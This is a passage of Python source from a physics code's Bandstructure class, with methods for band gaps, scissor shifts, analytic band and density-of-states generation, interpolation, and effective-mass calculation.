cbm_kpoint = np.argmin(energies[cbm_band])
# return energy, band and kpoint index for the cbm
return energies[cbm_band, cbm_kpoint], cbm_band, cbm_kpoint
def locate_bandgap(self, energies=None, occ=None):
"""
Locate the band gap.
Parameters
----------
energies : ndarray, optional
| Dimension: (N,M)
The energy dispersion in eV for N bands at M k-points.
Defaults to the `energies` stored in the current
`Bandstructure()` object.
occ : ndarray, optional
| Dimension: (N,M)
The occupancy for N bands at M k-points. Defaults
to the `occ` stored in the current `Bandstructure()` object.
Returns
-------
vbm_energy : float
The valence band maximum in eV.
bandgap : float
The band gap in eV.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running locate_vbm_and_bandgap.")
# fetch valence band maximum
vbm_energy, _, vbm_kpoint = self.locate_vbm(energies=energies, occ=occ)
# fetch conduction band minimum
cbm_energy, _, cbm_kpoint = self.locate_cbm(energies=energies, occ=occ)
# now we need to calculate the band gap
band_gap = cbm_energy - vbm_energy
# if band_gap is negative, we have either a semi-metal or metal,
# so set band_gap to zero
if band_gap < 0.0:
band_gap = 0
direct = True
if vbm_kpoint != cbm_kpoint:
direct = False
return band_gap, direct
def apply_scissor_operator(self, energies=None):
"""
Apply scissor operator to blue or redshift the conduction band energies.
Parameters
----------
energies : ndarray, optional
| Dimension: (N,M)
The energy dispersion for N bands at M k-points. Defaults
to the `energies` stored in the current `Bandstructure()`
object.
Returns
-------
None
Notes
-----
.. warning:: Please beware that this is a rather brutal (but usefull)
operation. Make sure that the valence band maximum and
conduction band minimum is fetched correctly. One way to
check that this works is to plot the energies along a
representative direction before and after the scissor
operator have been executed.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running apply_scissor_operator.")
if energies is None:
energies = self.energies
if self.cbm_band is None:
logger.error("The conduction band index `cbm_band` was "
"not found while trying to apply scissor "
"operator. Are you sure the dataset you "
"supplied contained enough detail to calculate "
"the valence band maximum, conduction band "
"minimum and band gap? Exiting.")
sys.exit(1)
if self.param.scissor:
if self.metallic:
logger.error("User requests to apply scissor operator to a "
"metallic system. Exiting.")
logger.info("Applying scissor operator and lifting the conduction "
"bands")
energies[self.
cbm_band:] = energies[self.cbm_band:] + self.param.scissor
def check_dos_energy_range(self, remin, remax):
"""
Check that the energy grid of the density of states covers the range of the supplied paramters.
Parameters
----------
remin : float
The energy in eV for the lowest requested energy.
remax : float
The energy in eV for the highest requested energy.
Returns
-------
within : boolean
True if the endpoints are within the energy range of the stored
density of states, False ortherwise.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running check_dos_energy_range.")
within = True
# dos exists?
try:
self.dos_energies
except AttributeError:
return False
if self.dos_energies is None:
return False
if remin < self.dos_energies[0]:
logger.info("The lower limit on the energy of the sampled "
"density of states is not 'transport_energycutband' "
"away from the minimum of the requested chemical "
"potential.")
within = False
if remax < self.dos_energies[self.dos_energies.shape[0] - 1]:
logger.info("The high limit on the energy of the sampled "
"density of states is not 'transport_energycutband' "
"away from the maximum of the requested chemical "
"potential.")
within = False
return within
def check_energyshifts(self):
"""
Check the energy shift parameters in the parameter file for consistency.
Parameters
----------
None
Returns
-------
None
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running apply_scissor_operator.")
if (self.param.e_fermi_in_gap and # pylint: disable=too-many-boolean-expressions
self.param.e_fermi and
self.param.e_vbm) or \
(self.param.e_fermi_in_gap and
self.param.e_fermi) or \
(self.param.e_fermi_in_gap and
self.param.e_vbm) or \
(self.param.e_fermi and self.param.e_vbm):
logger.error("User have sett more than one energy shift "
"parameter. Exiting.")
sys.exit(1)
def check_velocities(self, cutoff=None):
"""
Check that there exists realistic values for the band velocities.
Parameters
----------
cutoff : float, optional
Cutoff value for the test in eVAA units. Defaults to 0.01.
Returns
-------
boolean
True if values are above `cutoff`, False otherwise.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running check_velocities.")
if cutoff is None:
cutoff = 0.01
if (np.abs(self.velocities) < cutoff).all():
logger.info("All band velocities are less than %s. Continuing.",
str(cutoff))
return False
return True
def locate_band_gap(self):
"""
Calculate the band gap.
Parameters
----------
None
Returns
-------
float
The band gap in eV
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running locate_band_gap.")
# loop bands
band_gap = np.inf
if self.bandparams.shape[0] < 2:
logger.info("Requesting band gap for one band system. Setting "
"band gap to infinity and Fermi level to zero.")
band_gap = np.inf
for band in range(self.bandparams.shape[0]):
# locate minimum value in all bands
conduction = self.energies[band][np.where(
self.energies[band] > constants.zerocut)]
if conduction.shape[0] > 0:
band_min = np.amin(self.energies[band][np.where(
self.energies[band] > constants.zerocut)])
if band_min < band_gap:
band_gap = band_min
return band_gap
def gen_dos(self):
"""
Generates the density of states for the analytic models
Parameters
----------
None
Returns
-------
dos : ndarray
| Dimension: (N, M)
Contains the density of states for N bands at M
`dos_num_samples` from `dos_e_min` to `dos_e_max`.
The number of samplings and their range is set it
general configuration file. Units are per volume
unit, 1/eV/AA^3.
dos_energies : ndarray
| Dimension: (M)
Contains the energy samplings of which `dos` was
calculated in units of eV.
Notes
-----
Currently only the parabolic models are
implemented.
.. todo:: Also implement the non-parabolic alpha models
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running gen_dos.")
# check if we have any bands which are not parabolic, if
# so do not calculate the analytical dos
if np.any(self.bandparams[:][0]) != 0:
return None, None
# also check for any non parabolic character in the band
# generation (alpha or k^4). Currently no analytic
# expression is implemented to set these directly.
# However, these do exist, so consider to add them in the
# future.
if np.any(self.bandparams[:, 1]) == 1 or \
np.any(self.bandparams[:, 1]) == 2:
return None, None
dos_units = 0.1 * np.power(constants.elmass *
constants.jtoev, 1.5) / \
(np.sqrt(20) * np.power(constants.pi, 2.0) *
np.power(constants.hbar, 3.0))
numbands = self.effmass.shape[0]
e0 = self.e0
effmass = np.zeros(numbands)
# use e_max for the dos limit
dos_energies = np.linspace(self.param.dos_e_min, self.param.dos_e_max,
self.param.dos_num_samples)
dos = np.zeros((numbands, self.param.dos_num_samples))
# some tests
for band in range(numbands):
# use density of states effective mass
effmass[band] = np.power(np.prod(np.abs(self.effmass[band])),
1.0 / 3.0)
energy_shift = dos_energies - e0[band]
status = self.status[band]
# conduction
if status == "c":
dos_entries = np.where(dos_energies - e0[band] > 0)
dos[band, dos_entries] = dos[band, dos_entries] + \
self.spin_degen[band] * \
np.power(effmass[band], 1.5) * \
np.sqrt(energy_shift[dos_entries])
# valence
if status == "v":
dos_entries = np.where(dos_energies - e0[band] < 0)
dos[band, dos_entries] = dos[band, dos_entries] + \
self.spin_degen[band] * \
np.power(effmass[band], 1.5) * \
np.sqrt(np.abs(energy_shift[dos_entries]))
# slam on the dos units
dos = dos * dos_units
return dos, dos_energies
def gen_bands(self):
r"""
Generates the set of energy and velocity dispersions.
Parameters
----------
None
Returns
-------
energies : ndarray
| Dimension: (N,M)
Contains the energy dispersions in eV for N bands
at M k-points.
velocities : ndarray
| Dimension: (N,M,3)
Contains the group velocities in eVAA of the energy
dispersions (without the :math:`\\hbar^{-1}` factor).
tb_band : ndarray
| Dimension: (N)
Contains boolean values of True for band indexes
that are tight binding bands, False otherwise.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running gen_bands.")
# check if vasp is read, if so, only return
if self.param.read == "vasp":
return None, None, None
numbands = self.bandparams.shape[0]
numkpoints = self.lattice.kmesh.shape[0]
energies = np.zeros((numbands, numkpoints))
velocities = np.zeros((numbands, 3, numkpoints))
tb_band = []
band = 0
while band < numbands:
# do everything but tight binding
if self.bandparams[band][0] != 3:
e, v = self.gen_analytic_band(band)
energies[band] = e
velocities[band] = v
tb_band.append(False)
band = band + 1
else:
logger.error("The supplied band type of: %s is not supported",
str(self.bandparams[band][0]))
sys.exit(1)
energies = np.array(energies, dtype="double")
velocities = np.array(velocities, dtype="double")
# check Fermi level
if self.param.e_fermi_in_gap:
# place Fermi level in the middle of the gap (if it exists,
# otherwise set to zero)
band_gap = self.locate_band_gap()
if band_gap != np.inf:
self.param.e_fermi = self.locate_band_gap() / 2.0
else:
logger.info("User wanted to place Fermi level in the middle "
"of the gap, but no gap was found. Setting Fermi "
"level to 0.0 eV. Continuing.")
self.param.e_fermi = 0.0
# return data
return energies, velocities, tb_band
def gen_analytic_band(self, band): # pylint: disable=too-many-locals
r"""
Generate an analytical energy and velocity dispersion.
Parameters
----------
band : int
The band index used to fetch band parameters in
bandparams.yml.
Returns
-------
energy : ndarray
| Dimension: (M)
The energy dispersion in eV at M k-points.
velocity : ndarray
| Dimension: (M,3)
The group velocity in eVAA of the energy dispersion (without
the :math:`\\hbar^{-1}` factor).
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running gen_analytick_band.")
# set generator functions
band_function = self.bandparams[band][0]
# set a to zero for parabolic bands
if band_function == 0:
logger.info("Setting the 'a' and 'ascale' factor to zero."
"Continuing.")
self.a[band] = [0.0, 0.0, 0.0]
self.ascale[band] = 0.0
generate_energy = non_parabolic_energy_1
generate_velocity = non_parabolic_velocity_1
else:
if band_function == 1:
generate_energy = non_parabolic_energy_1
generate_velocity = non_parabolic_velocity_1
elif band_function == 2:
generate_energy = non_parabolic_energy_2
generate_velocity = non_parabolic_velocity_2
elif band_function == 5:
generate_energy = non_parabolic_energy_3
generate_velocity = non_parabolic_velocity_3
elif band_function == 6:
generate_energy = non_parabolic_energy_4
generate_velocity = non_parabolic_velocity_4
elif band_function == 7:
generate_energy = non_parabolic_energy_5
generate_velocity = non_parabolic_velocity_5
elif band_function > 7:
logger.error(
"Supplied non_parabolic_function = %s does not exist."
"Exiting.", str(band_function))
sys.exit(1)
# fetch k-point grid in cartersian
k = self.lattice.fetch_kmesh(direct=False)
if not band_function == 4:
# first energy
energy = generate_energy(k,
self.effmass[band],
self.a[band],
self.ascale[band],
e0=self.e0[band],
kshift=self.kshift[band])
# then velocity
vx, vy, vz = generate_velocity(k,
self.effmass[band],
self.a[band],
self.ascale[band],
kshift=self.kshift[band])
##################################################
##################################################
# USE THIS SECTION TO MAKE CUSTIMIZED BANDS AND #
# SET THE BAND TYPE TO 4 (NOT DOCUMENTED) #
##################################################
##################################################
# CUSTOM SECTION START #
##################################################
else:
quartic_onset = False
if quartic_onset:
# quartic band behavior at the onset
# first fetch quartic
energy_q = non_parabolic_energy_1(k,
self.effmass[band],
self.a[band],
self.ascale[band],
e0=self.e0[band],
kshift=self.kshift[band])
# then velocity
vx_q, vy_q, vz_q = non_parabolic_velocity_1(
k,
self.effmass[band],
self.a[band],
self.ascale[band],
kshift=self.kshift[band])
# then parabolic
self.a[band] = [0.0, 0.0, 0.0]
self.effmass[band] = -2.0
self.e0[band] = 0.0
energy_p = non_parabolic_energy_1(k,
self.effmass[band],
self.a[band],
self.ascale[band],
e0=self.e0[band],
kshift=self.kshift[band])
vx_p, vy_p, vz_p = non_parabolic_velocity_1(
k,
self.effmass[band],
self.a[band],
self.ascale[band],
kshift=self.kshift[band])
# given the input
# A = -20
# eshift of -0.047195 eV
# quartic effective mass of 100 and parabolic mass of 2.0
# calculate length of k-vectors
k_length = np.linalg.norm(k, axis=1)
quartic_portion = np.where(k_length < 0.220479)
energy_p[quartic_portion] = energy_q[quartic_portion]
vx_p[quartic_portion] = vx_q[quartic_portion]
vy_p[quartic_portion] = vy_q[quartic_portion]
vz_p[quartic_portion] = vz_q[quartic_portion]
# shift back
energy = energy_p + 0.047195
else:
# quartic band behavior deep in band, parabolic onset
# quartic band behavior at the onset
# first fetch quartic
energy_q = non_parabolic_energy_1(k,
self.effmass[band],
self.a[band],
self.ascale[band],
e0=self.e0[band],
kshift=self.kshift[band])
# then velocity
vx_q, vy_q, vz_q = non_parabolic_velocity_1(
k,
self.effmass[band],
self.a[band],
self.ascale[band],
kshift=self.kshift[band])
# then parabolic
self.a[band] = [0.0, 0.0, 0.0]
self.effmass[band] = -2.0
self.e0[band] = 0.0
energy_p = non_parabolic_energy_1(k,
self.effmass[band],
self.a[band],
self.ascale[band],
e0=self.e0[band],
kshift=self.kshift[band])
vx_p, vy_p, vz_p = non_parabolic_velocity_1(
k,
self.effmass[band],
self.a[band],
self.ascale[band],
kshift=self.kshift[band])
# given the input
# A = -20
# eshift of -0.047195 eV
# quartic effective mass of 100 and parabolic mass of 2.0
# calculate length of k-vectors
k_length = np.linalg.norm(k, axis=1)
quartic_portion = np.where(k_length > 0.220479)
energy_p[quartic_portion] = energy_q[quartic_portion]
vx_p[quartic_portion] = vx_q[quartic_portion]
vy_p[quartic_portion] = vy_q[quartic_portion]
vz_p[quartic_portion] = vz_q[quartic_portion]
# shift back
energy = energy_p
vx = vx_p
vy = vy_p
vz = vz_p
##################################################
# CUSTOM SECTION END #
##################################################
# THIS DOES NOT WORK FOR MULTIBAND SCENARIOS, KILL IT
# ACTUALLY, THIS FOLDING NEEDS TO BE FIXED IN ORDER TO GET THE
# BAND INDEX FIRST DISABLE UNTIL FIXED!
if self.bandparams[band][1] != 0:
logger.error("Band folding does not currently work due to band "
"ordering. Exiting.")
sys.exit(1)
velocity = vx, vy, vz
return np.array(energy), np.array(velocity)
def fetch_velocities_along_line(self,
kstart,
kend,
itype=None,
itype_sub=None):
r"""
Calculate the velocity dispersion along a line in reciprocal space.
Parameters
----------
kstart : ndarray, optional
| Dimension: (3)
The start k - point in cartesian coordinates.
kend : ndarray
| Dimension: (3)
The end k - point in cartesian coordinates.
itype : string, optional
| Can be any of:
| {"linearnd", "interpn", "rbf", "wildmagic", "skw"}
The type of interpolate method to use. If not set, the parameter
`dispersion_interpolate_method` in the general configuration
file sets this.
itype_sub : string, optional
| Can be any of:
| {"nearest", "linear"}, when `itype` is set to `interpn`.
| {"multiquadric", "inverse_multiquadric", "gaussian", "linear",
| "cubic", "quintic", "thin_plate"}, when `itype` is set to `rbf`
| and when the Scipy variety is used.
| {"trilinear, tricubic_exact, tricubic_bspline, akima"},
| when `itype` is set to `wildmagic`.
The subtype of the interpolation method.
Returns
-------
velocities : ndarray
| Dimension: (N, 3, M)
The group velocity in units of eVAA along a line for N
bands and M k - points, defined by the
`num_kpoints_along_line` in the general configuration file.
kpts : ndarray
| Dimension: (M, 3)
The kpoints where the group velocity was calculated.
Notes
-----
The :func:`interpolate` is used to perform the interpolation
of the data along the line.
.. warning:: The factor :math:`\\hbar^{-1}` is not returned and need to be included externally.
See Also
--------
interpolate
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.info("Running fetch_velocities_along_line.")
# now make sure the supplied points does not extend outside the
# grid
bz_border = self.lattice.fetch_bz_border(direct=True)
utils.pull_vecs_inside_boundary((kstart, kend), bz_border,
constants.zerocut)
kpts = self.lattice.fetch_kpoints_along_line(
kstart,
kend,
self.param.dispersion_num_kpoints_along_line,
direct=False)
velocities = self.fetch_velocities_at_kpoints(kpts,
itype=itype,
itype_sub=itype_sub)
return velocities, kpts
def fetch_velocities_at_kpoints(self,
kpoint_mesh,
itype=None,
itype_sub=None):
r"""
Calculate the velocity dispersions at specific k - points.
Parameters
----------
kpoint_mesh : ndarray
| Dimension: (N, 3)
The k - point mesh for extraction in cartesian coordinates.
itype : string, optional
| Can be any of:
| {"linearnd", "interpn", "rbf", "wildmagic", "skw"}
The type of interpolate method to use. If not set, the parameter
`dispersion_interpolate_method` in the general configuration
file sets this.
itype_sub : string, optional
| Can be any of:
| {"nearest", "linear"}, when `itype` is set to `interpn`.
| {"multiquadric", "inverse_multiquadric", "gaussian", "linear",
| "cubic", "quintic", "thin_plate"}, when `itype` is set to `rbf`
| and when the Scipy variety is used.
| {"trilinear, tricubic_exact, tricubic_bspline, akima"},
| when `itype` is set to `wildmagic`.
The subtype of the interpolation method.
Returns
-------
velocities : ndarray
| Dimension: (N, 3, M)
The group velocity in units of eVAA at the N bands for M
k - points.
Notes
-----
The :func:`interpolate` is used to perform the interpolation.
.. warning:: The factor :math:`\\hbar^{-1}` is not returned and need to be included externally.
See Also
--------
interpolate
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running fetch_velocities_at_kpoints.")
dummy, velocities, dummy = self.interpolate(kpoint_mesh=kpoint_mesh,
itype=itype,
itype_sub=itype_sub,
ivelocities=True)
return velocities
def fetch_energies_along_line(self,
kstart,
kend,
samplings=None,
itype=None,
itype_sub=None):
"""
Calculate the energy dispersions along specific k - points.
Parameters
----------
kstart : ndarray
| Dimension: (3)
Direct k - point coordinate of the start point of line extraction.
kend : ndarray
| Dimension: (3)
Direct k - point coordinate of the end point of line extraction.
samplings : int, optional
The number of N samples along the line. If not specified the
variable is set to the the `num_kpoints_along_line`
parameter in params.yml
itype : string, optional
| Can be any of:
| {"linearnd", "interpn", "rbf", "wildmagic", "skw"}
The type of interpolate method to use. If not set, the parameter
`dispersion_interpolate_method` in the general configuration
file sets this.
itype_sub : string, optional
| Can be any of:
| {"nearest", "linear"}, when `itype` is set to `interpn`.
| {"multiquadric", "inverse_multiquadric", "gaussian", "linear",
| "cubic", "quintic", "thin_plate"}, when `itype` is set to `rbf`
| and when the Scipy variety is used.
| {"trilinear, tricubic_exact, tricubic_bspline, akima"},
| when `itype` is set to `wildmagic`.
The subtype of the interpolation method.
Returns
-------
energies : ndarray
| Dimension: (N, M)
The energy dispersions in eV along a line for N bands and M
k - points, defined by the `num_kpoints_along_line`
in the general configuration file.
kpts : ndarray
| Dimension: (N, 3)
The k - point mesh for the line extraction in cartesian
coordinates.
Notes
-----
The routine :func:`interpolate` is used to perform the
interpolation of the data along the line.
See Also
--------
interpolate
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.info("Running fetch_energies_along_line.")
# now make sure the supplied points does not extend outside the
# grid
bz_border = self.lattice.fetch_bz_border(direct=True)
utils.pull_vecs_inside_boundary((kstart, kend), bz_border,
constants.zerocut)
if samplings is None:
samplings = self.param.dispersion_num_kpoints_along_line
kpts = self.lattice.fetch_kpoints_along_line(kstart,
kend,
samplings,
direct=False)
energies = self.fetch_energies_at_kpoints(kpoint_mesh=kpts,
itype=itype,
itype_sub=itype_sub)
return energies, kpts
def fetch_energies_at_kpoints(self,
kpoint_mesh,
itype=None,
itype_sub=None):
"""
Calculate the energy dispersions at specific k - points by interpolation.
Parameters
----------
kpoint_mesh : ndarray
| Dimension: (N, 3)
The N k - point coordinates in cartesian coordinates.
itype : string, optional
| Can be any of:
| {"linearnd", "interpn", "rbf", "wildmagic", "skw"}
The type of interpolate method to use. If not set, the parameter
`dispersion_interpolate_method` in the general configuration
file sets this.
itype_sub : string, optional
| Can be any of:
| {"nearest", "linear"}, when `itype` is set to `interpn`.
| {"multiquadric", "inverse_multiquadric", "gaussian", "linear",
| "cubic", "quintic", "thin_plate"}, when `itype` is set to `rbf`
| and when the Scipy variety is used.
| {"trilinear, tricubic_exact, tricubic_bspline, akima"},
| when `itype` is set to `wildmagic`.
The subtype of the interpolation method.
Returns
-------
energies : ndarray
| Dimension: (N, M)
The energies in eV for each of the N bands and M k - points.
Notes
-----
The routine :func:`interpolate` is used to perform the
interpolation.
See Also
--------
interpolate
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running fetch_energies_at_kpoints.")
# fetch points
energies, dummy, dummy = self.interpolate(kpoint_mesh=kpoint_mesh,
itype=itype,
itype_sub=itype_sub)
return energies
def calc_effective_mass(self):
"""
Calculates the effective mass tensor. Currently the effective mass tensor is not diagonalized.
Parameters
----------
None
Returns
-------
None
Notes
-----
Upon complettion the effective mass is stored in the
current `Bandstructure()` object.
Also, the velocities have to be precalculated before
calling this routine.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running calc_effective_mass.")
# check if the velocities exists
if self.gen_velocities:
logger.error("Please generate the velocities before "
"calling the calc_effective_mass routine. "
"Exiting.")
sys.exit(1)
# check that there is sensible values stored in the
# velocities
if not self.check_velocities():
logger.error("The velocity data does not seem to be "
"realistic. Very small values are detected. "
"Exiting. ")
sys.exit(1)
# define tensor
num_bands = self.energies.shape[0]
num_kpoints = self.energies.shape[1]
inv_mass = np.zeros((num_bands, 3, 3, num_kpoints))
# if we need to interpolate
# let us make sure the interpolation sampling is
# the same as the input
if not self.param.dispersion_velocities_numdiff:
ksampling_inter = np.copy(
self.param.dispersion_interpolate_sampling)
self.param.dispersion_interpolate_sampling = \
self.lattice.ksampling
# here we could use inline and rely on broadcasting,
# but do it simple now
# we also calculate to many elements due to its symmetric
# nature but again it is simple
for d in range(3):
if self.param.dispersion_velocities_numdiff:
# velocities was obtained with numerical difference,
# use same procedure for the effective mass
inv_mass[:, :, d, :] = self.calc_velocities(
self.velocities[:, d, :])
else:
# here we have to get velocities by interpolation
dummy, inv_mass[:, :, d, :], dummy = \
self.interpolate(ienergies=True, ivelocities=True,
store_inter=False,
energies=self.velocities[:, d, :])
# reset ksampling_inter
if not self.param.dispersion_velocities_numdiff:
self.param.dispersion_interpolate_sampling = \
ksampling_inter
# store effective mass (effmass already exists from the
# readin from bandparam.yml) in units of the free electron mass
effmass_tensor = 100 * np.power(constants.hbarsqcsq, 2.0) * \
np.linalg.inv(inv_mass) / constants.elmasscsq
if self.param.dispersion_effmass_diagonalize:
# diagonalize?
w, v = np.linalg.eig(effmass_tensor)
self.effmass_eigenval = w
self.effmass_eigenvec = v
elif self.param.dispersion_effmass_transform:
# transform?
trans = np.array(self.param.dispersion_effmass_transform).T
self.effmass_tensor = np.matmul(effmass_tensor, trans)
else:
# just store the tensor
self.effmass_tensor = effmass_tensor
def calc_velocities(self, velocities=None, store=True):
"""
Calculate the electron group velocities from the electron energy dispersion
Parameters
----------
velocities : ndarray, optional
| Dimension: (N, M)
Contains the group velocity along a specific direction
for N bands and M k-points. If supplied the velocities
of the velocities are calculated, or more specifically
the inverse effective mass tensor (without prefactor)
store : boolean, optional
If True, store the calculated velocities in the
active `Bandstructure()` object, else return the
velocity array. Defaults to True.
Returns
-------
velocities : ndarray, optional
| Dimension: (N, 3, M)
The velocities of the velocity. Only returned if
`store` is set to False.
Notes
-----
Does not call any interpolation routines such
that the velocities can be extracted directly from the
electron energy dispersion by numerical differentiation.
Uses the :func:`gradient` from NumPy.
Overwrites any entry of exising `velocities` in `bs`
and sets `gen_velocities` to False if `velocities` is
not supplied.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running calc_velocities.")
if velocities is None:
# if velocities is not supplied use the energies and
# calculate the velocities
e_or_v = self.energies
else:
# if velocities is supplied calculate the velocities
# of the supplied velocity
e_or_v = velocities
ksampling = self.lattice.ksampling
num_kpoints = e_or_v.shape[1]
num_bands = e_or_v.shape[0]
# assume equally spaced grid and fetch
# spacing along each direction
dx, dy, dz = self.lattice.fetch_kmesh_step_size(direct=False)
# fetch velocities
# reshape
e_or_v_shaped = np.reshape(
e_or_v, (num_bands, ksampling[0], ksampling[1], ksampling[2]),
order='C')
# call gradient from NumPy to obtain the gradients and
# pass spacings (grid is seldom cubic with spacing of 1.0)
# also, make sure we do nothing to the band axis
vx, vy, vz = np.gradient(e_or_v_shaped, dx, dy, dz, axis=(1, 2, 3))
# flatten and store
velocities = np.array([
np.reshape(vx, (num_bands, num_kpoints), order='C'),
np.reshape(vy, (num_bands, num_kpoints), order='C'),
np.reshape(vz, (num_bands, num_kpoints), order='C')
])
# need band first, then direction, then k-points
velocities = np.swapaxes(velocities, 0, 1)
if store:
# store the calculated velocities
# no need to generate velocities again
self.gen_velocities = False
# set velocities in current object
self.velocities = velocities
return None
# return the velocities of the velocities
# for a specific direction
return velocities
def interpolate( # pylint: disable=too-many-locals # noqa: MC0001
self,
iksampling=None,
ienergies=True,
ivelocities=False,
itype=None,
itype_sub=None,
kpoint_mesh=None,
store_inter=False,
energies=None):
"""
Interpolates the energies and velocity dispersion.
Parameters
----------
iksampling : ndarray, optional
| Dimension: (3)
Contains the interpolated k - point mesh sampling values.
Does not have to be set if line extraction performed
(full grid is instead supplied in line_mesh).
ienergies : boolean
If True, interpolate the energies, if not, do not.
ivelocities : boolean
If True, interpolate the velocities, if not, do not
itype : string, optional
Can be any of:
{"linearnd", "interpn", "rbf", "wildmagic", "skw"}
The type of interpolate method to use. If not set, the parameter
`dispersion_interpolate_method` in the general configuration file
sets this.
itype_sub : string, optional
| Can be any of:
| {"nearest", "linear"}, when `itype` is set to `interpn`.
| {"multiquadric", "inverse_multiquadric", "gaussian", "linear",
| "cubic", "quintic", "thin_plate"}, when `itype` is set to `rbf`
| and when the Scipy variety is used.
| {"trilinear, tricubic_exact, tricubic_bspline, akima"},
| when `itype` is set to `wildmagic`.
The subtype of the interpolation method.
kpoint_mesh : ndarray, optional
| Dimension: (M, 3)
Supplied k - point grid for extraction as an alternative
to iksampling. Should be supplied in cartesian coordinates
and should not extend the border of the original grid.
Usefull for line extraction etc.
store_inter : boolean, optional
Store the new interpolated energies and velocities in
the supplied object. Also modifies the current `Lattice()` object
with the new grid etc. if that has been modified.
Defaults to False.
energies : ndarray, optional
| Dimension: (N,J)
An input array containing the energies (or some other)
quantity that can fly through with the same structure, e.g.
the velocities along a certain direction for N bands and J
k-points.
Returns
-------
ien, ivel : ndarray, ndarray
| Dimension: (N,M), (N,3,M)
The energy dispersions in eV, and group velocities in eVAA
along indexes each axis of the reciprocal basis are returned
for N bands and M new k - points if velocities is supplied,
or if the `gen_velocities` tag is set to True in the current
`Bandstructure()` object.
ien, False, False, False : ndarray, boolean, boolean, boolean
| Dimension: (N,M)
The energy dispersions in eV for N bands and M new k-points
if `velocities` is not supplied or `gen_velocities` is
set to False.
Notes
-----
.. todo:: DOCUMENT THE DIFFERENT INTERPOLATION SCHEMES,
OR AT LEAST ADD PROPER REFERENCES.
See Also
--------
linearnd
interpn
rbf
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running interpolate.")
# this flag determines if we want to run the
# Wildmagic interpolation on direct or
# cartesian coordinates (does not matter for the energies)
# this should always be set to False, except for testing
wildmagic_direct = False
if ienergies:
if energies is None:
try:
energies = self.energies
except AttributeError:
logger.error("The energies is not stored in the current "
"Bandstructure() object. Exiting.")
sys.exit(1)
if ivelocities:
try:
velocities = self.velocities
except AttributeError:
logger.error(
"The band velocities is not stored in the current "
"Bandstructure() object. Exiting.")
sys.exit(1)
if iksampling is None:
iksampling = self.lattice.fetch_iksampling()
# check if iksampling is sensible
check_sensible_ksampling(iksampling)
# set interpolate method from param file, if not supplied
# also demand that is itype or itype_sub is supplied, the other
# also has to be supplied
needs_sub = {"interpn", "rbf", "wildmagic"}
if (itype is None) and (itype_sub is None):
itype = self.param.dispersion_interpolate_method
itype_sub = self.param.dispersion_interpolate_type
else:
if itype in needs_sub and itype_sub is None:
logger.error("If supplying itype, also supply the relevant "
"itype_sub flag and vice versa. Exiting.")
sys.exit(1)
if itype is None:
logger.error("The itype parameter is not given upon calling "
"the interpolation routine. Exiting.")
sys.exit(1)
# now check for valid itype, itype_sub is done later
possible_itypes = {"linearnd", "interpn", "rbf", "wildmagic", "skw"}
if itype not in possible_itypes:
logger.error(
"The specified itype (or dispersion_interpolate_method "
"in the general configuraiton file) is not recognized. "
"Exiting.")
sys.exit(1)
gen_velocities = self.gen_velocities
if gen_velocities and ivelocities:
if itype not in ("wildmagic", "skw"):
logger.error("Gradient extraction for the band "
"velocities are only supported for the "
"wildmagic_akima/"
"wildmagic_tricubic_bspline/"
"wildmagic_tricubic_exact/"
"wildmagic_trilinear/"
"skw interpolation method. "
"Please change and rerun. Exiting.")
sys.exit(1)
# set ksampling
ksampling = self.lattice.ksampling
# for these intepolation routines, it is best to work on the
# full BZ for the moment
num_kpoints_energy = self.energies.shape[1]
if num_kpoints_energy != self.lattice.kmesh.shape[0]:
if num_kpoints_energy == self.lattice.kmesh_ired.shape[0]:
# SKW need IBZ grid, so this is fine
if itype != "skw":
logger.debug(
"Irreducible data detected in interpolation "
"routine. Laying out the full BZ before continuing "
"with the interpolation routines")
energies = energies[:, self.lattice.mapping_bz_to_ibz]
velocities = velocities[:, :, self.lattice.
mapping_bz_to_ibz]
else:
logger.error(
"The number of k-points for the energies does not "
"match the full BZ or the IBZ grid. Exiting.")
sys.exit(1)
else:
# if SKW, we need to reduce the grid to the IBZ
if itype == "skw":
energies = energies[:, self.lattice.mapping_ibz_to_bz]
# check that gamma_center mode is enabled:
if not self.param.gamma_center:
logger.error(
"The automatic interpolation routines only work if "
"gamma_center is set to True. Either turn of interpolation "
"or switch to gamma_center. Exiting.")
sys.exit(1)
# fetch old grid in cartesian (IBZ in direct for SKW)
if itype in ("skw", "wildmagic"):
if itype == "skw":
old_grid = self.lattice.fetch_kmesh(direct=True, ired=True)
else:
# store old bz border to be used in the interpolation
# routines below
if wildmagic_direct:
old_grid = self.lattice.fetch_kmesh(direct=True)
old_bz_border = self.lattice.fetch_bz_border(direct=True)
else:
old_grid = self.lattice.fetch_kmesh(direct=False)
old_bz_border = self.lattice.fetch_bz_border(direct=False)
else:
old_grid = self.lattice.fetch_kmesh(direct=False)
old_bz_border = self.lattice.fetch_bz_border(direct=False)
ksampling_old = ksampling
# set new grid, special case for SKW, then the grid is created in the
# SKW routine (Fourier transformation, so no need to create a new one)
# also, we need to make sure the interpolator grid does not go out of
